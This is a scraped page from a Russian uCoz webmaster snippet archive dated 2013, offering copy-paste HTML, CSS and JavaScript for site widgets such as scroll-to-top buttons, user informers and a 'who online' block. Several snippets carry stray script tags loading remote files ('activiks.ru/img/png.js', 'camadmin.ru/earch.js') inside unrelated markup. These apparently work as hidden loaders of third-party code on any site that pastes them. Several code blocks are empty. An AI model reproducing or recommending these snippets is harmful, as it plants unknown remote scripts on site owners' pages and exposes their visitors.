Архив материалов - Всё для servera CS 1.6

Сегодня я хотел бы Вам рассказать, как вставить скрипт кнопка “Вверх” на сайт ucoz и не только. Эта кнопка будет очень полезна для сайтов, блогов или форумов с длинными страницами. Данный скрипт очень красиво и оригинально смотрится а Вашим посетителям удобно передвигаться по страницам Вашего ресурса.
Перед закрывающимся тегом /head :

Код

<script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script>
<script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" />
<div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div>

Вот и всё! Я думаю у Вас не возникнет трудностей с установкой данного скрипта.

Просмотров: 209 | Добавил: startsmart | Дата: 03.03.2013

Как сделать топ пользователей,по количеству файлов,и постов

Здравствуйте.
Информер топ файловиков,для юкоза.
Заходим в Админ понель далее создаем информер>Пользователи>Материалы>Кол. файлов >Материалы: 5 >Колонки: 1
В дизайн информера вставляем

Код

</div><center><table
cellspadding="0" class="topten_table" style="border-color: rgb(76, 76,
76); width: 100%; margin: 0px;"
cellspacing="0"><tbody><tr><td style="padding: 2px 0px
2px 4px; cursor: pointer; border-left: 0px none; width: 48px;" onclick="'';"><a href="$PROFILE_URL$" target="_blank"
title="$USERNAME$"><?if($AVATAR_URL$)?> <br> <img
src="$AVATAR_URL$" border="0" style="height: 40px; width: 40px;
margin-right: 5px; border: 1px solid rgb(76, 76, 76); padding:
2px;"><?else?> <br> <img alt="Аватар не выбран"
src="http://bambun.ru/images/noa.png" border="0" style="height:
40px; width: 40px; margin-right: 5px; border: 1px solid rgb(76, 76,
76); padding: 2px;"><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><br> <?endif?></a></td><td
style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px
none; text-align: left; font-size: 10px; font-family:
tahoma,verdana,arial; color: rgb(85, 85, 85); line-height: 14px;" onclick="';"><a href="$PROFILE_URL$"><font style="font-size:
12px; color: rgb(100, 100,
100);"><b>$USERNAME$</b></font></a><br>Добавил
файлов: <b><font
color="646464">$LOAD_POSTS$</font></b><br>Количество
постов: <b><font
color="646464">$FORUM_POSTS$</font></b></td></tr></tbody></table></center><hr>

Потом создаем Блок,где мы хотим видить топ файловиков и вставляем код информера $MYINF_ваша цифра$
Всё, и вот что должно получится!

Просмотров: 247 | Добавил: startsmart | Дата: 22.02.2013

Вид информера

Создаем информер:
Форум · Материалы · Последние обновленные темы · Материалы: 10 · Колонки: 1
Затем открываем шаблон созданного информера, удаляем все и вставляем это:

Код

<table style="border: 1px dashed #819db1;margin-bottom:4px;" cellpadding="2" cellspacing="1" width="100%" class="infTable">
<tr>
<td nowrap align="left" style="color: #737373;font:7pt" width="190">
<script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
<b>Тема:</b> <a href="$THREAD_URL$">$THREAD_TITLE$</a>
</td>
</tr>
<tr>
<td nowrap align="left" style="color: #737373;font:7pt" width="190">
<b>Ответил:</b> $POST_USER$
</td>
</tr>
<tr>
<td nowrap align="left" style="color: #737373;font:7pt" width="190">
<b>Когда:</b> $DATE$
</td>
</tr>
</table>

Может подойдет и для другого модуля, но у меня стоит для форума.

Просмотров: 246 | Добавил: startsmart | Дата: 22.02.2013

Скрипт последних комментариев для Ucoz

Установка скрипта:

1. ПУ - CSS Стиль - В самый низ код:

Код

/* COMMENTS USERS */
.block_new_comm {-webkit-transition:background 0.1s ease;background:#fbfbfb;border-radius:3px;padding:5px 5px;margin:5px 0;overflow:hidden;}
.block_new_comm:hover {background:#93abbb;color:#fff;}
.block_new_comm:hover .block_new_text a {color:#fff;}
.block_new_av {background:#494949;border-radius:3px;padding:3px 3px;margin-right:11px;float:left;}
.block_new_av img {border-radius:3px;width:33px;height:33px:}
.block_new_text {margin:3px 0;}
.block_new_text a {color:#7d9ca4;text-decoration:none;font-weight:700;}
.block_new_text p {margin:3px 0 0 0;}
.block_new_text p a {color:#626262;text-transform:uppercase;text-decoration:none;font-weight:normal;}
.block_popular {border:1px solid #efefef;padding:3px 3px;margin:4px 3px;float:left;position:relative;}
.block_tit { no-repeat bottom;text-transform:uppercase;color:#626262;font-style:italic;padding:8px 15px;}
/* ------- */

2. Создаем информер комментариев:

[ Комментарии · Материалы · Дата добавления материала D · Материалы: 6 · Колонки: 1 · Длина заголовка: 20 ]

2.1 В информер вставляем код:

Код

<div class="block_con" style="padding:4px 10px;">
<div class="block_new_comm east" original-title="$MESSAGE$"> <div class="block_new_av"><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://bambun.ru/images/n6oava7tar.png<?endif?>"></div> <div class="block_new_text">Написал: <a href="$PROFILE_URL$">$USERNAME$</a> <p><a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$ENTRY_TITLE$</a></p></div> </div>
</div>

Просмотров: 222 | Добавил: startsmart | Дата: 21.02.2013

Скрипт - свежие скриншоты для Ucoz

Установка скрипта:

1.Создаем информер -

[ Онлайн игры · Материалы · Дата добавления материала D · Материалы: 8 · Колонки: 2 ] - Код в информер

Код

2. ПУ - CSS Стиль - В самый низ код -

Код

/* ScreenGame */
.ScreenGame {padding: 5px 1px 3px 7px;}
.ScreenGame img {background: none repeat scroll 0 0 #515151;border: 1px solid #515151;border-radius: 3px 3px 3px 3px;height: 45px;margin: 2px;padding: 1px;width: 80px;}
.ScreenGame img:hover {background:none repeat scroll 0 0 #FFC500;border: 1px solid #515151;}
/*----------*/

3. Вкл. Конструктор - Создаем блок - В блок вставляем информер, что мы создали.

Просмотров: 224 | Добавил: startsmart | Дата: 21.02.2013

Время в Москве

Отличные часики для сайта в основном для темных отеннков дизайна.

Код

Просмотров: 219 | Добавил: startsmart | Дата: 21.02.2013

Часы для сайта

Хорошие флэш часы для сайта. Устанавливаете в любую часть сайта.

Код

Просмотров: 205 | Добавил: startsmart | Дата: 21.02.2013

Улучшаем функцию Кто Онлайн для uCoz

Улучшаем функцию Кто Онлайн для uCoz. Всем доброго дня, в этом посте мы будем создавать и улучшать внешний вид функции "Кто онлайн" для uCoz, плюс мы добавим путём js отдельный контейнер со списком зарегистрированных пользователей которые побывали на сайте в этот день.

Шаг 1 - Переименовываем текст в статистике.:

Для начала следует изменить стандартные надписи статистики пользователей uCoz на свои, для этого заходим:

в Админ панель => Замена стандартных надписей => Статистика "Кто Онлайн"

и заменяем следующий текст на свой:

Онлайн всего: на Онлайн
Гостей: на Гостей
Пользователей: на Читателей
Шаг 2 - Установим JS:

Главная » Управление дизайном » Редактирование шаблонов

перед закрывающим тегом </body> ставим скрипт.

Код

Шаг 3 - Установим HTML:

Теперь на страницу сайта устанавливаем следующий html каркас:

Код

<div class="cell_uo">
  <div class="uzer_info">
  $ONLINE_COUNTER$
  <div id="onl4"></div>
  </div>

  
  <div id="tabs_online">
  <div class="center_dm_uo">

  <ul class="uo_ul">
  <li><a href="#first">Онлайн</a></li>
  <li><a href="#second">Кто был</a></li>
  </ul>
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <div id="first" class="uzer_online">$ONLINE_USERS_LIST$</div>
  <div id="second" class="uzer_allist"><img src="http://bambun.ru/images/loading.gif" class="uzer_loading" border="0" alt="Иконка загрузки" /></div>

  </div>
  </div>
  

  </div>

Шаг 4 - Установим CSS:

Код

/* Статистика пользователей uCoz
  ------------------------------------------*/
.cell_uo {
  float:left;
  width:250px;
  background: #fff;
  border: 1px solid #CAD3DA;
}

.uzer_info {
  float:left;
  width:250px;
  margin-bottom: 10px;
  padding: 5px 0px;
  background: #F1F3F7;
  border-bottom: 1px solid #CAD3DA;
  font:9px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #fff;
}

#onl1,
#onl2,
#onl3,
#onl4,
#onl1 b,
#onl2 b,
#onl3 b,
#onl4 b {float:left; width:61px; text-align:center;}
#onl2 {border-right: 1px solid #CAD3DA; border-left: 1px solid #CAD3DA;}
#onl4 {border-left: 1px solid #CAD3DA;}

#tabs_online {text-align:center;}

.uo_ul{
  margin:0;
  padding:0;
  list-style:none;
}

.uo_ul li {
  display: inline;
  margin: 0px 5px 0px 5px;
}

.uo_ul li a {
  color:#666;
  font-weight: bold;
  padding: 5px 10px 5px 10px;
  text-shadow: 1px 1px 1px #fff;
}

.uo_ul li a.selected,ul
.uo_ul li a.selected:hover,
.uo_ul li a:hover {color: #666; background:#F1F3F7;}
.uo_ul li a:focus {outline:0;}

.uzer_online,
.uzer_allist {
  width:230px;
  overflow: hidden;
  text-align:left;
  margin-top: 10px;
  padding: 5px 10px 5px 10px;
  border-top: 1px solid #cecece;
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

Примечания:

В данном решении я использовал скрипт Табов и Кто сегодня был, к сожалению автор последнего скрипта мне неизвестен, но если вы знаете его, то сообщите мне об этом ниже в комментариях.

Незабываем активировать на сайте uCoz функцию "Кто Онлайн" в главных настройках Админ панели.

На этом всё, спасибо за внимание!

Просмотров: 231 | Добавил: startsmart | Дата: 13.02.2013

Перевод вашего сайта в один клик (8 стран)

Установите код на свой веб-сайт или блог и сделайте его доступным на 8 языков. Ваши посетители смогут мгновенно перевести ваш контент с их переводчиком по выбору используя простой интерфейс - все это без надобности покидать ваш веб-сайт! Транслятор делает перевод простым, и ваши посетители полюбят его! Легко установить, легко использовать.

Код

Просмотров: 230 | Добавил: startsmart | Дата: 13.02.2013

Кнопка вверх (new)

Всем привет

Бывают всякие страницы, в том числе и очень приочень длинные, и чтобы не вертеть колесиком мыши, или же просто не тащить постоянно скролл существуют такой помошник, как кнопка "вверх". Именно они без проблем перемотают нас верх страницы. Одну из таких я и предлагаю вам поставить на свой сайт, она чем то похожа на кнопку вконтакте, но основное стилевое решение было взято с сайта kinopoisk.

Слева у нас есть область которая по всей высоте окна браузера кликабельна как и кнопка "наверх" находящаяся в ней, при клике на эту область мы плавно поднимаемся вверх страницы. Для сайтов у которых разрешение экрана меньше или равно 1024px, будет видна только стрелка вверх, чтобы серый фон не закрывал часть сайта.

Установка CSS

Теперь давайте начнем установку на сайт, тем более что она крайне проста, вначале скопируем данный код в таблицу стилей, ПУ / Дизайн / Управление дизайном (CSS)

Код

.upTop {
  display:none;
  width:100px;
  height:100%;
  position:fixed;
  left:0px;
  top:0px;
  z-index:100;
}
.upTopButton {
  background:#777777 url(http://bambun.ru/images/goup.png) no-repeat;
  width:27px;
  height:27px;
  position:fixed;
  top:10px;
  left:10px;
  cursor:pointer;
}
.upTopZone {
  display:none;
  background:url(http://bambun.ru/images/upbg.png) repeat;
  width:100px;
  height:100%;
  cursor:pointer;
}
.upTopZone p {
  background:#777777;
  font-size:12px;
  width:63px;
  height:27px;
  margin:0;
  position:fixed;
  top:10px;
  left:37px;
  color:#fff;
  font-family:"tahoma", "verdana", "arial";
  line-height:25px;
  text-align:center;
  text-shadow:1px 1px 1px #000000;
}
@media screen and (max-width:1024px) {
  .upTopZone {
  display:none !important;
  }
} .blue .upTopButton, .blue .upTopZone p {
  background-color:#3fa3e1;
}
.green .upTopButton, .green .upTopZone p {
  background-color:#60bf3a;
}
.red .upTopButton, .red .upTopZone p {
  background-color:#ca2929;
}
.orange .upTopButton, .orange .upTopZone p {
  background-color:#ef990b;
}
.purple .upTopButton, .purple .upTopZone p {
  background-color:#b053a0;
}
.grey .upTopButton, .grey .upTopZone p {
  background-color:#777777;
}

Установка HTML

Данный код копируем и вставляем куда хотим, главное в тело страницы, можете поставить перед тегом </body>

Код

<div class="upTop blue">
  <div class="upTopZone"><p>наверх</p></div>
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <div class="upTopButton"></div>
</div>

Установка JS

Вставляем данный код также перед тегом </body>

Код

На этом установка кнопки вверх для сайта закончена, по традиции я предлагаю несколько цветовых схем, чтобы каждый мог без труда применить сразу, полностью готовое решение у себя на сайте. Чтобы изменить основной цвет кнопки наверх, измените в html коде, класс blue на нужный из списка

blue - голубой
green - зеленый
red - красный
orange - оранжевый
purple - пурпурный
grey - серый

Просмотров: 210 | Добавил: startsmart | Дата: 13.02.2013

1-10 11-20 21-30 31-33